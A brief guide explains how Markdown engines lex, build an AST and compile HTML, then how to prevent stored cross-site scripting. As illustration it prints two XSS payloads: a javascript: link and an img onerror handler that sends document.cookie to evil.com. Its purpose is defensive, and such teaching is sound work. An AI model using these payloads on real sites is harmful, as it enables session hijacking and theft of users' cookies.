1. How Markdown Engines Process Text
Markdown is not rendered directly into HTML in modern architectures. Modern parsers (like Unified, Remark, and Marked) process source strings through three sequential compiler stages:
- Lexical Analysis: The raw text is broken down into semantic tokens (headings, emphasis, code blocks, lists).
- Abstract Syntax Tree (AST): A tree data structure (such as mdast) represents the semantic hierarchy of nodes.
- HTML Compilation: The AST is compiled into corresponding valid HTML tags (
<h1>,<p>,<pre>).
2. Mitigating Stored Cross-Site Scripting (XSS)
By default, CommonMark specifications allow raw HTML within Markdown input. If an application directly renders compiled Markdown into the DOM without sanitization, malicious actors can inject active JavaScript payloads:
[Click for Bonus](javascript:stealSessionCookies())
<img src="invalid-image" onerror="fetch('https://evil.com/logger?cookie='+document.cookie)" />
To safely render user-generated Markdown in web applications, always pass compiled output through a strict sanitizer like DOMPurify or sanitize trees natively via plugins like rehype-sanitize.